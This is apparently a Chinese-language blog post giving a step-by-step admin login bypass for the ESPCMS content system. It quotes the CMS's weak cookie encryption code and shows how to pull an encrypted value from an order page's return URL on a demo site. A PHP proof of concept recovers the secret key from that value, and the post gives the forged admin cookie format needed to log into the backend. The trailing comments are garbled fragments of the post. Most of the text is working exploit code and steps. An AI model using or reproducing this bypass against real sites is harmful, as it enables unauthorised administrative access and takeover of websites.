ESPCMS最新版后台登入绕过漏洞
看看加解密函数
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
} else {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
}
} elseif ($operation == 'DECODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->decryptCookie($string, $key);
} else {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
}
return $result;
}
复制代码
比以前的多了一句话
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
复制代码
如果存在 mcrypt模块且 $mcrype为true,则调用 encryptCookie进行加密,
看到encryptCookie
function encryptCookie($value, $key = '@LFK24s224%@safS3s%1f%') {
if (!$value) {
return false;
}
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $value, MCRYPT_MODE_ECB, $iv);
return trim(base64_encode($crypttext));
}
复制代码
php自带的 加密函数。。给跪。
在对会员,后台等cookie操作进行 加密时 mcrype都是默认为true的,于是乎以前的 方法不行了。
但是,在 /interface/ordermain.php这个文件中,发现 加密时,竟然设置了mcrype为false。
function in_read() {
............
$payobj = new $plugcode();
$codesn = $this->fun->eccode($plugcode . $read['ordersn'] . $oid, 'ENCODE', db_pscode, FALSE);
$respondArray = array('code' => $plugcode, 'ordersn' => $read['ordersn'], 'oid' => $oid, 'codesn' => $codesn);
$return_url = $this->get_link('paybackurl', $respondArray, admin_LNG, 0, 1);
..........
复制代码
我们可以 将这个 codesn 用以前的方法还原出 key。
后台检测管理员权限的代码如下
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)
复制代码
用得到的key加密
1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)
复制代码
这个值,即可登入后台了。(password随意,注意admin_AGENT和admin_ClassURL别写错了。 )
首先,注册用户,购买个商品,来到查看订单的页面,审查元素,
return_url=http://demo.ecisp.cn/html/cn/index.php?ac=respond&at=payok&codesn=ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw&code=alipay&ordersn=ESP-201502240614511702&oid=198
复制代码
return_url后面的就是我们需要的了。
填入 poc,
$text = "明文"; //得到的字符串中,code,ordersn,oid 依次拼接的值
$cookie = "ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw"; //cookie
$bincookie = base64_decode($cookie);
for ($j=0; $j < strlen($text); $j++) {
echo chr( ord($bincookie[$j]) - ord($text[$j]) );
}
复制代码
然后 将得到的key
5b16dd028ac5b2eabab6125A6A88B****
相关文章
- 3条评论
- 泪灼眼戏2022-05-28 05:26:00
- );$respondArray = array('code' => $plugcode, 'ordersn' => $read['orders
- 拥嬉嘻友2022-05-28 13:18:36
- md5(admin_ClassURL) != $this->esp_softurl)复制代码用得到的key加密1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)复制代码这个值,即可登入后台了。(passwor
- 莣萳鸠魁2022-05-28 09:17:59
- 0; $i < strlen($string); $i++) {$char = substr($string, $i, 1);$keychar = substr($key, ($i % strl